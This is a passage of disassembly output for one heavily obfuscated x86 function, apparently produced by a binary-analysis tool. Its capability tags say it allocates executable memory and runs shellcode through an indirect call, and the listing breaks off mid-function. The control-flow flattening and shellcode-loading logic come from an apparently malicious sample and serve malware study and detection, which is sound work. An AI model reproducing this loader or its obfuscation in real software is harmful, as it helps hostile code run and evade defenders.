Function at 0x426d50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x55c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x9c], edx
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xd8], 0
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0xec], 0x6f767708
mov eax, dword [ebp - 0xec]
mov ecx, eax
sub ecx, 0x908f1cf4
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xf4], ecx
jg 0x426e3c
jmp 0x426e20
mov eax, dword [ebp - 0xf0]
sub eax, 0x81bcf94e
mov dword [ebp - 0xf8], eax
je 0x429b6f
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x94856189
mov dword [ebp - 0xfc], eax
jg 0x426e74
jmp 0x426e58
mov eax, dword [ebp - 0xf0]
sub eax, 0x908f1cf5
mov dword [ebp - 0x100], eax
je 0x427923
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x96826fc7
mov dword [ebp - 0x104], eax
jg 0x426eac
jmp 0x426e90
mov eax, dword [ebp - 0xf0]
sub eax, 0x9485618a
mov dword [ebp - 0x108], eax
je 0x4285e9
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x9729cfa8
mov dword [ebp - 0x10c], eax
jg 0x426ee4
jmp 0x426ec8
mov eax, dword [ebp - 0xf0]
sub eax, 0x96826fc8
mov dword [ebp - 0x110], eax
je 0x429aad
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0xa16ff410
mov dword [ebp - 0x114], eax
jg 0x426f1c
jmp 0x426f00
mov eax, dword [ebp - 0xf0]
sub eax, 0x9729cfa9
mov dword [ebp - 0x118], eax
je 0x428398
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0xaa8bb2f7
mov dword [ebp - 0x11c], eax
jg 0x426f54
jmp 0x426f38
mov eax, dword [ebp - 0xf0]
sub eax, 0xa16ff411
mov dword [ebp - 0x120], eax
je 0x42795e
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0xb5f8637b
mov dword [ebp - 0x124], eax
jg 0x426f8c
jmp 0x426f70
mov eax, dword [ebp - 0xf0]
sub eax, 0xaa8bb2f8
mov dword [ebp - 0x128], eax
je 0x427de1
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x7c1d630a
mov dword [ebp - 0x12c], eax
jg 0x4278bc
jmp 0x426fa8
mov eax, dword [ebp - 0xf0]
sub eax, 0xb644ec3e
mov dword [ebp - 0x130], eax
jg 0x426fe0
jmp 0x426fc4
mov eax, dword [ebp - 0xf0]
sub eax, 0xb5f8637c
mov dword [ebp - 0x134], eax
je 0x42852b
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0xbc8c8fd7
mov dword [ebp - 0x138], eax
jg 0x427018
jmp 0x426ffc
mov eax, dword [ebp - 0xf0]
sub eax, 0xb644ec3f
mov dword [ebp - 0x13c], eax
je 0x4291f0
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0xc3de958a
mov dword [ebp - 0x140], eax
jg 0x427050
jmp 0x427034
mov eax, dword [ebp - 0xf0]
sub eax, 0xbc8c8fd8
mov dword [ebp - 0x144], eax
je 0x428c05
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0xc45f1c0f
mov dword [ebp - 0x148], eax
jg 0x427088
jmp 0x42706c
mov eax, dword [ebp - 0xf0]
sub eax, 0xc3de958b
mov dword [ebp - 0x14c], eax
je 0x429915
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0xca46fb64
mov dword [ebp - 0x150], eax
jg 0x4270c0
jmp 0x4270a4
mov eax, dword [ebp - 0xf0]
sub eax, 0xc45f1c10
mov dword [ebp - 0x154], eax
je 0x42993e
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0xd1bddaf6
mov dword [ebp - 0x158], eax
jg 0x4270f8
jmp 0x4270dc
mov eax, dword [ebp - 0xf0]
sub eax, 0xca46fb65
mov dword [ebp - 0x15c], eax
je 0x427901
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0xd2c69ed9
mov dword [ebp - 0x160], eax
jg 0x427130
jmp 0x427114
mov eax, dword [ebp - 0xf0]
sub eax, 0xd1bddaf7
mov dword [ebp - 0x164], eax
je 0x428549
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x7bb74092
mov dword [ebp - 0x168], eax
jg 0x4278a0
jmp 0x42714c
mov eax, dword [ebp - 0xf0]
sub eax, 0x7bb226f3
mov dword [ebp - 0x16c], eax
jg 0x427884
jmp 0x427168
mov eax, dword [ebp - 0xf0]
sub eax, 0x777276f6
mov dword [ebp - 0x170], eax
jg 0x427868
jmp 0x427184
mov eax, dword [ebp - 0xf0]
sub eax, 0x76c5cab7
mov dword [ebp - 0x174], eax
jg 0x42784c
jmp 0x4271a0
mov eax, dword [ebp - 0xf0]
sub eax, 0x738efaaf
mov dword [ebp - 0x178], eax
jg 0x427830
jmp 0x4271bc
mov eax, dword [ebp - 0xf0]
sub eax, 0x6f767707
mov dword [ebp - 0x17c], eax
jg 0x427814
jmp 0x4271d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x6bbc87cf
mov dword [ebp - 0x180], eax
jg 0x4277f8
jmp 0x4271f4
mov eax, dword [ebp - 0xf0]
sub eax, 0x5ebf4e5c
mov dword [ebp - 0x184], eax
jg 0x4277dc
jmp 0x427210
mov eax, dword [ebp - 0xf0]
sub eax, 0x5ea6ea75
mov dword [ebp - 0x188], eax
jg 0x4277c0
jmp 0x42722c
mov eax, dword [ebp - 0xf0]
sub eax, 0x5b3a8915
mov dword [ebp - 0x18c], eax
jg 0x4277a4
jmp 0x427248
mov eax, dword [ebp - 0xf0]
sub eax, 0x5b2cba09
mov dword [ebp - 0x190], eax
jg 0x427788
jmp 0x427264
mov eax, dword [ebp - 0xf0]
sub eax, 0x4fe4c72a
mov dword [ebp - 0x194], eax
jg 0x42776c
jmp 0x427280
mov eax, dword [ebp - 0xf0]
sub eax, 0x496ea5e7
mov dword [ebp - 0x198], eax
jg 0x427750
jmp 0x42729c
mov eax, dword [ebp - 0xf0]
sub eax, 0x401ab37f
mov dword [ebp - 0x19c], eax
jg 0x427734
jmp 0x4272b8
mov eax, dword [ebp - 0xf0]
sub eax, 0x3f77d3ba
mov dword [ebp - 0x1a0], eax
jg 0x427718
jmp 0x4272d4
mov eax, dword [ebp - 0xf0]
sub eax, 0x3c3debb3
mov dword [ebp - 0x1a4], eax
jg 0x4276fc
jmp 0x4272f0
mov eax, dword [ebp - 0xf0]
sub eax, 0x397d60e1
mov dword [ebp - 0x1a8], eax
jg 0x4276e0
jmp 0x42730c
mov eax, dword [ebp - 0xf0]
sub eax, 0x331a6f97
mov dword [ebp - 0x1ac], eax
jg 0x4276c4
jmp 0x427328
mov eax, dword [ebp - 0xf0]
sub eax, 0x2dcdc169
mov dword [ebp - 0x1b0], eax
jg 0x4276a8
jmp 0x427344
mov eax, dword [ebp - 0xf0]
sub eax, 0x27d2bf11
mov dword [ebp - 0x1b4], eax
jg 0x42768c
jmp 0x427360
mov eax, dword [ebp - 0xf0]
sub eax, 0x23a01f17
mov dword [ebp - 0x1b8], eax
jg 0x427670
jmp 0x42737c
mov eax, dword [ebp - 0xf0]
sub eax, 0x1f9b0f96
mov dword [ebp - 0x1bc], eax
jg 0x427654
jmp 0x427398
mov eax, dword [ebp - 0xf0]
sub eax, 0x1ddf6bac
mov dword [ebp - 0x1c0], eax
jg 0x427638
jmp 0x4273b4
mov eax, dword [ebp - 0xf0]
sub eax, 0x9c10da2
mov dword [ebp - 0x1c4], eax
jg 0x42761c
jmp 0x4273d0
mov eax, dword [ebp - 0xf0]
sub eax, 0x8d3978c
mov dword [ebp - 0x1c8], eax
jg 0x427600
jmp 0x4273ec
mov eax, dword [ebp - 0xf0]
sub eax, 0x1ca2aaa
mov dword [ebp - 0x1cc], eax
jg 0x4275e4
jmp 0x427408
mov eax, dword [ebp - 0xf0]
sub eax, 0xfcd020b3
mov dword [ebp - 0x1d0], eax
jg 0x4275c8
jmp 0x427424
mov eax, dword [ebp - 0xf0]
sub eax, 0xfb78b239
mov dword [ebp - 0x1d4], eax
jg 0x4275ac
jmp 0x427440
mov eax, dword [ebp - 0xf0]
sub eax, 0xf62567dd
mov dword [ebp - 0x1d8], eax
jg 0x427590
jmp 0x42745c
mov eax, dword [ebp - 0xf0]
sub eax, 0xf38aa86e
mov dword [ebp - 0x1dc], eax
jg 0x427574
jmp 0x427478
mov eax, dword [ebp - 0xf0]
sub eax, 0xedfdfe5b
mov dword [ebp - 0x1e0], eax
jg 0x427558
jmp 0x427494
mov eax, dword [ebp - 0xf0]
sub eax, 0xe80cd117
mov dword [ebp - 0x1e4], eax
jg 0x42753c
jmp 0x4274b0
mov eax, dword [ebp - 0xf0]
sub eax, 0xdf6ff1f9
mov dword [ebp - 0x1e8], eax
jg 0x427520
jmp 0x4274cc
mov eax, dword [ebp - 0xf0]
sub eax, 0xd2c69eda
mov dword [ebp - 0x1ec], eax
je 0x429b54
jmp 0x4274e8
mov eax, dword [ebp - 0xf0]
sub eax, 0xd2cab7a8
mov dword [ebp - 0x1f0], eax
je 0x429ad7
jmp 0x427504
mov eax, dword [ebp - 0xf0]
sub eax, 0xdac24863
mov dword [ebp - 0x1f4], eax
je 0x4284d1
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0xdf6ff1fa
mov dword [ebp - 0x1f8], eax
je 0x428b66
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0xe80cd118
mov dword [ebp - 0x1fc], eax
je 0x4284c2
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0xedfdfe5c
mov dword [ebp - 0x200], eax
je 0x429ae7
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0xf38aa86f
mov dword [ebp - 0x204], eax
je 0x429a3a
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0xf62567de
mov dword [ebp - 0x208], eax
je 0x427980
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0xfb78b23a
mov dword [ebp - 0x20c], eax
je 0x427945
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0xfcd020b4
mov dword [ebp - 0x210], eax
je 0x428498
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x1ca2aab
mov dword [ebp - 0x214], eax
je 0x4284a8
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x8d3978d
mov dword [ebp - 0x218], eax
je 0x429c61
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x9c10da3
mov dword [ebp - 0x21c], eax
je 0x429b36
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x1ddf6bad
mov dword [ebp - 0x220], eax
je 0x427df0
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x1f9b0f97
mov dword [ebp - 0x224], eax
je 0x427dc8
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x23a01f18
mov dword [ebp - 0x228], eax
je 0x429cde
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x27d2bf12
mov dword [ebp - 0x22c], eax
je 0x429969
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x2dcdc16a
mov dword [ebp - 0x230], eax
je 0x42836f
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x331a6f98
mov dword [ebp - 0x234], eax
je 0x4284e1
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x397d60e2
mov dword [ebp - 0x238], eax
je 0x4285c5
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x3c3debb4
mov dword [ebp - 0x23c], eax
je 0x42992e
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x3f77d3bb
mov dword [ebp - 0x240], eax
je 0x42998a
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x401ab380
mov dword [ebp - 0x244], eax
je 0x42850a
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x496ea5e8
mov dword [ebp - 0x248], eax
je 0x429a53
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x4fe4c72b
mov dword [ebp - 0x24c], eax
je 0x429c48
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x5b2cba0a
mov dword [ebp - 0x250], eax
je 0x429a62
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x5b3a8916
mov dword [ebp - 0x254], eax
je 0x42915e
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x5ea6ea76
mov dword [ebp - 0x258], eax
je 0x429ccf
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x5ebf4e5d
mov dword [ebp - 0x25c], eax
je 0x429c70
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x6bbc87d0
mov dword [ebp - 0x260], eax
je 0x428388
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x6f767708
mov dword [ebp - 0x264], eax
je 0x4278dd
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x738efab0
mov dword [ebp - 0x268], eax
je 0x428477
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x76c5cab8
mov dword [ebp - 0x26c], eax
je 0x4291e1
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x777276f7
mov dword [ebp - 0x270], eax
je 0x4285b6
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x7bb226f4
mov dword [ebp - 0x274], eax
je 0x428559
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x7bb74093
mov dword [ebp - 0x278], eax
je 0x429b7d
jmp 0x4278d8
mov eax, dword [ebp - 0xf0]
sub eax, 0x7c1d630b
mov dword [ebp - 0x27c], eax
je 0x429b45
jmp 0x4278d8
jmp 0x429d27
mov eax, 0xca46fb65
mov ecx, 0xfb78b23a
mov edx, dword [ebp - 0x8c]
cmp edx, 0
cmove eax, ecx
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov eax, 0x908f1cf5
mov ecx, 0xfb78b23a
cmp dword [ebp - 0x98], 0
cmove eax, ecx
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov eax, 0xa16ff411
mov ecx, 0xfb78b23a
cmp dword [ebp - 0x94], 0
cmove eax, ecx
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov dword [ebp - 0x90], 0
mov dword [ebp - 0xec], 0x81bcf94e
jmp 0x429d27
mov eax, 0x1ddf6bad
mov ecx, 0xf62567de
cmp dword [0x4ffbec], 0
cmove eax, ecx
mov dword [ebp - 0xec], eax
jmp 0x429d27
lea eax, [0x4f2828]
add eax, 5
mov ecx, 4
lea edx, [ebp - 0x80]
mov dword [ebp - 0x80], 0
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
mov dword [ebp - 0x280], ecx
call fcn.00432100
add esp, 0xc
mov ecx, 1
mov edx, dword [ebp - 0x80]
sub esp, 8
mov dword [esp], edx
mov dword [esp + 4], 1
mov dword [ebp - 0x284], eax
mov dword [ebp - 0x288], ecx
call fcn.0041af28
add esp, 8
mov dword [0x4ffbec], eax
mov eax, dword [0x4ffbec]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x84], 0x99fe0e42
mov eax, dword [ebp - 0x84]
mov ecx, eax
sub ecx, 0x66aced19
mov dword [ebp - 0x28c], eax
mov dword [ebp - 0x290], ecx
jg 0x427c34
jmp 0x427a20
mov eax, dword [ebp - 0x28c]
sub eax, 0x5100919b
mov dword [ebp - 0x294], eax
jg 0x427c18
jmp 0x427a3c
mov eax, dword [ebp - 0x28c]
sub eax, 0x6651449
mov dword [ebp - 0x298], eax
jg 0x427bfc
jmp 0x427a58
mov eax, dword [ebp - 0x28c]
sub eax, 0xf048a0fa
mov dword [ebp - 0x29c], eax
jg 0x427be0
jmp 0x427a74
mov eax, dword [ebp - 0x28c]
sub eax, 0xd652756d
mov dword [ebp - 0x2a0], eax
jg 0x427bc4
jmp 0x427a90
mov eax, dword [ebp - 0x28c]
sub eax, 0xcfe5d9fc
mov dword [ebp - 0x2a4], eax
jg 0x427ba8
jmp 0x427aac
mov eax, dword [ebp - 0x28c]
sub eax, 0xc147e5b0
mov dword [ebp - 0x2a8], eax
jg 0x427b8c
jmp 0x427ac8
mov eax, dword [ebp - 0x28c]
sub eax, 0x99fe0e41
mov dword [ebp - 0x2ac], eax
jg 0x427b00
jmp 0x427ae4
mov eax, dword [ebp - 0x28c]
sub eax, 0x93927751
mov dword [ebp - 0x2b0], eax
je 0x427caa
jmp 0x427c50
mov eax, dword [ebp - 0x28c]
sub eax, 0xa1007453
mov dword [ebp - 0x2b4], eax
jg 0x427b38
jmp 0x427b1c
mov eax, dword [ebp - 0x28c]
sub eax, 0x99fe0e42
mov dword [ebp - 0x2b8], eax
je 0x427c55
jmp 0x427c50
mov eax, dword [ebp - 0x28c]
sub eax, 0xa1007454
mov dword [ebp - 0x2bc], eax
je 0x427d4f
jmp 0x427b54
mov eax, dword [ebp - 0x28c]
sub eax, 0xb535c0e7
mov dword [ebp - 0x2c0], eax
je 0x427c76
jmp 0x427b70
mov eax, dword [ebp - 0x28c]
sub eax, 0xb7d3e286
mov dword [ebp - 0x2c4], eax
je 0x427d23
jmp 0x427c50
mov eax, dword [ebp - 0x28c]
sub eax, 0xc147e5b1
mov dword [ebp - 0x2c8], eax
je 0x427c9b
jmp 0x427c50
mov eax, dword [ebp - 0x28c]
sub eax, 0xcfe5d9fd
mov dword [ebp - 0x2cc], eax
je 0x427d39
jmp 0x427c50
mov eax, dword [ebp - 0x28c]
sub eax, 0xd652756e
mov dword [ebp - 0x2d0], eax
je 0x427d65
jmp 0x427c50
mov eax, dword [ebp - 0x28c]
sub eax, 0xf048a0fb
mov dword [ebp - 0x2d4], eax
je 0x427cb9
jmp 0x427c50
mov eax, dword [ebp - 0x28c]
sub eax, 0x665144a
mov dword [ebp - 0x2d8], eax
je 0x427da9
jmp 0x427c50
mov eax, dword [ebp - 0x28c]
sub eax, 0x5100919c
mov dword [ebp - 0x2dc], eax
je 0x427d05
jmp 0x427c50
mov eax, dword [ebp - 0x28c]
sub eax, 0x66aced1a
mov dword [ebp - 0x2e0], eax
je 0x427c85
jmp 0x427c50
jmp 0x427da4
mov eax, 0x93927751
mov ecx, 0xb535c0e7
mov edx, dword [ebp - 0x78]
cmp edx, 0
cmove eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x427da4
mov dword [ebp - 0x84], 0x66aced1a
jmp 0x427da4
mov dword [ebp - 0x7c], 0xffffffff
mov dword [ebp - 0x84], 0xc147e5b1
jmp 0x427da4
mov dword [ebp - 0x84], 0x665144a
jmp 0x427da4
mov dword [ebp - 0x84], 0xf048a0fb
jmp 0x427da4
lea eax, [0x4f2828]
mov ecx, dword [ebp - 0x80]
mov edx, dword [0x4ffbec]
mov esi, dword [0x4f2824]
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], esi
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call fcn.00439350
add esp, 0x10
cmp eax, 0
setl bl
and bl, 1
mov byte [ebp - 0x71], bl
mov dword [ebp - 0x84], 0x5100919c
jmp 0x427da4
mov eax, 0xcfe5d9fd
mov ecx, 0xb7d3e286
mov dl, byte [ebp - 0x71]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x427da4
mov dword [ebp - 0x7c], 0xffffffff
mov dword [ebp - 0x84], 0x665144a
jmp 0x427da4
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x84], 0x665144a
jmp 0x427da4
mov dword [ebp - 0x7c], 0xffffffff
mov dword [ebp - 0x84], 0x66aced1a
jmp 0x427da4
lea eax, [0x4f2828]
mov ecx, dword [ebp - 0x80]
mov edx, dword [0x4ffbec]
mov esi, dword [0x4f2824]
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], esi
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call fcn.00439350
add esp, 0x10
mov dword [ebp - 0x84], 0xf048a0fb
mov dword [ebp - 0x2e4], eax
jmp 0x4279fb
mov eax, 0xaa8bb2f8
mov ecx, 0x1f9b0f97
cmp dword [ebp - 0x7c], 0
cmovl eax, ecx
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov dword [ebp - 0x90], 0
mov dword [ebp - 0xec], 0x81bcf94e
jmp 0x429d27
mov dword [ebp - 0xec], 0x1ddf6bad
jmp 0x429d27
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x70], 0x3d51ed7e
mov eax, dword [ebp - 0x70]
mov ecx, eax
sub ecx, 0x84deca0b
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2ec], ecx
jg 0x427e45
jmp 0x427e29
mov eax, dword [ebp - 0x2e8]
sub eax, 0x8008e866
mov dword [ebp - 0x2f0], eax
je 0x428313
jmp 0x4281e1
mov eax, dword [ebp - 0x2e8]
sub eax, 0x8af9f01e
mov dword [ebp - 0x2f4], eax
jg 0x427e7d
jmp 0x427e61
mov eax, dword [ebp - 0x2e8]
sub eax, 0x84deca0c
mov dword [ebp - 0x2f8], eax
je 0x428210
jmp 0x4281e1
mov eax, dword [ebp - 0x2e8]
sub eax, 0xaee49ed5
mov dword [ebp - 0x2fc], eax
jg 0x427eb5
jmp 0x427e99
mov eax, dword [ebp - 0x2e8]
sub eax, 0x8af9f01f
mov dword [ebp - 0x300], eax
je 0x428297
jmp 0x4281e1
mov eax, dword [ebp - 0x2e8]
sub eax, 0xbbd4b245
mov dword [ebp - 0x304], eax
jg 0x427eed
jmp 0x427ed1
mov eax, dword [ebp - 0x2e8]
sub eax, 0xaee49ed6
mov dword [ebp - 0x308], eax
je 0x42827f
jmp 0x4281e1
mov eax, dword [ebp - 0x2e8]
sub eax, 0xcdbf39a8
mov dword [ebp - 0x30c], eax
jg 0x427f25
jmp 0x427f09
mov eax, dword [ebp - 0x2e8]
sub eax, 0xbbd4b246
mov dword [ebp - 0x310], eax
je 0x428204
jmp 0x4281e1
mov eax, dword [ebp - 0x2e8]
sub eax, 0xd18cdfda
mov dword [ebp - 0x314], eax
jg 0x427f5d
jmp 0x427f41
mov eax, dword [ebp - 0x2e8]
sub eax, 0xcdbf39a9
mov dword [ebp - 0x318], eax
je 0x428273
jmp 0x4281e1
mov eax, dword [ebp - 0x2e8]
sub eax, 0xd8a31037
mov dword [ebp - 0x31c], eax
jg 0x427f95
jmp 0x427f79
mov eax, dword [ebp - 0x2e8]
sub eax, 0xd18cdfdb
mov dword [ebp - 0x320], eax
je 0x428255
jmp 0x4281e1
mov eax, dword [ebp - 0x2e8]
sub eax, 0xe3cecfba
mov dword [ebp - 0x324], eax
jg 0x427fcd
jmp 0x427fb1
mov eax, dword [ebp - 0x2e8]
sub eax, 0xd8a31038
mov dword [ebp - 0x328], eax
je 0x428331
jmp 0x4281e1
mov eax, dword [ebp - 0x2e8]
sub eax, 0xcb82d24
mov dword [ebp - 0x32c], eax
jg 0x428005
jmp 0x427fe9
mov eax, dword [ebp - 0x2e8]
sub eax, 0xe3cecfbb
mov dword [ebp - 0x330], eax
je 0x4282a3
jmp 0x4281e1
mov eax, dword [ebp - 0x2e8]
sub eax, 0x185f1770
mov dword [ebp - 0x334], eax
jg 0x42803d
jmp 0x428021
mov eax, dword [ebp - 0x2e8]
sub eax, 0xcb82d25
mov dword [ebp - 0x338], eax
je 0x4282c4
jmp 0x4281e1
mov eax, dword [ebp - 0x2e8]
sub eax, 0x1fb0b10a
mov dword [ebp - 0x33c], eax
jg 0x428075
jmp 0x428059
mov eax, dword [ebp - 0x2e8]
sub eax, 0x185f1771
mov dword [ebp - 0x340], eax
je 0x428344
jmp 0x4281e1
mov eax, dword [ebp - 0x2e8]
sub eax, 0x22efc09b
mov dword [ebp - 0x344], eax
jg 0x4280ad
jmp 0x428091
mov eax, dword [ebp - 0x2e8]
sub eax, 0x1fb0b10b
mov dword [ebp - 0x348], eax
je 0x4282d0
jmp 0x4281e1
mov eax, dword [ebp - 0x2e8]
sub eax, 0x3d51ed7d
mov dword [ebp - 0x34c], eax
jg 0x4280e5
jmp 0x4280c9
mov eax, dword [ebp - 0x2e8]
sub eax, 0x22efc09c
mov dword [ebp - 0x350], eax
je 0x42823a
jmp 0x4281e1
mov eax, dword [ebp - 0x2e8]
sub eax, 0x4fe047cf
mov dword [ebp - 0x354], eax
jg 0x42811d
jmp 0x428101
mov eax, dword [ebp - 0x2e8]
sub eax, 0x3d51ed7e
mov dword [ebp - 0x358], eax
je 0x4281e6
jmp 0x4281e1
mov eax, dword [ebp - 0x2e8]
sub eax, 0x5e5945e5
mov dword [ebp - 0x35c], eax
jg 0x428155
jmp 0x428139
mov eax, dword [ebp - 0x2e8]
sub eax, 0x4fe047d0
mov dword [ebp - 0x360], eax
je 0x428307
jmp 0x4281e1
mov eax, dword [ebp - 0x2e8]
sub eax, 0x66fe5795
mov dword [ebp - 0x364], eax
jg 0x42818d
jmp 0x428171
mov eax, dword [ebp - 0x2e8]
sub eax, 0x5e5945e6
mov dword [ebp - 0x368], eax
je 0x4282fb
jmp 0x4281e1
mov eax, dword [ebp - 0x2e8]
sub eax, 0x66fe5796
mov dword [ebp - 0x36c], eax
je 0x4282ef
jmp 0x4281a9
mov eax, dword [ebp - 0x2e8]
sub eax, 0x7061fd2b
mov dword [ebp - 0x370], eax
je 0x42828b
jmp 0x4281c5
mov eax, dword [ebp - 0x2e8]
sub eax, 0x7097cc13
mov dword [ebp - 0x374], eax
je 0x4282dc
jmp 0x4281e1
jmp 0x42833f
mov eax, 0x1fb0b10b
mov ecx, 0xbbd4b246
mov edx, dword [ebp - 0x6c]
cmp edx, dword [0x4f2820]
cmovb eax, ecx
mov dword [ebp - 0x70], eax
jmp 0x42833f
mov dword [ebp - 0x70], 0x84deca0c
jmp 0x42833f
lea eax, [0x4f2508]
imul ecx, dword [ebp - 0x6c], 0xc
add eax, ecx
mov eax, dword [eax + 4]
cmp eax, dword [ebp - 0x68]
sete dl
and dl, 1
mov byte [ebp - 0x5d], dl
mov dword [ebp - 0x70], 0x22efc09c
jmp 0x42833f
mov eax, 0xcdbf39a9
mov ecx, 0xd18cdfdb
mov dl, byte [ebp - 0x5d]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x70], eax
jmp 0x42833f
lea eax, [0x4f2508]
imul ecx, dword [ebp - 0x6c], 0xc
add eax, ecx
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x70], 0x185f1771
jmp 0x42833f
mov dword [ebp - 0x70], 0xaee49ed6
jmp 0x42833f
mov dword [ebp - 0x70], 0x7061fd2b
jmp 0x42833f
mov dword [ebp - 0x70], 0x8af9f01f
jmp 0x42833f
mov dword [ebp - 0x70], 0xe3cecfbb
jmp 0x42833f
mov eax, dword [ebp - 0x6c]
sub eax, 0x1028011d
add eax, 1
add eax, 0x1028011d
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x70], 0xcb82d25
jmp 0x42833f
mov dword [ebp - 0x70], 0x3d51ed7e
jmp 0x42833f
mov dword [ebp - 0x70], 0x7097cc13
jmp 0x42833f
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x70], 0x66fe5796
jmp 0x42833f
mov dword [ebp - 0x70], 0x185f1771
jmp 0x42833f
mov dword [ebp - 0x70], 0x84deca0c
jmp 0x42833f
mov dword [ebp - 0x70], 0xaee49ed6
jmp 0x42833f
mov eax, 0
mov ecx, dword [ebp - 0x6c]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x70], 0xe3cecfbb
jmp 0x42833f
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x70], 0x7097cc13
jmp 0x427e07
mov eax, 0x6bbc87d0
mov ecx, 0x2dcdc16a
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0xa4], edx
cmp dword [ebp - 0xa4], 0
cmove eax, ecx
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov dword [ebp - 0x90], 0
mov dword [ebp - 0xec], 0x81bcf94e
jmp 0x429d27
mov eax, 0x9729cfa9
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov eax, dword [0x4ffbec]
mov ecx, dword [ebp - 0xa4]
add eax, dword [ecx]
mov dword [ebp - 0xa0], eax
call fcn.00432860
mov ecx, 0
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xa0]
add eax, 0x2b
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 0x1f]
shl eax, 1
mov edx, dword [ebp - 0xa0]
add edx, 0x2b
shl eax, 2
add edx, eax
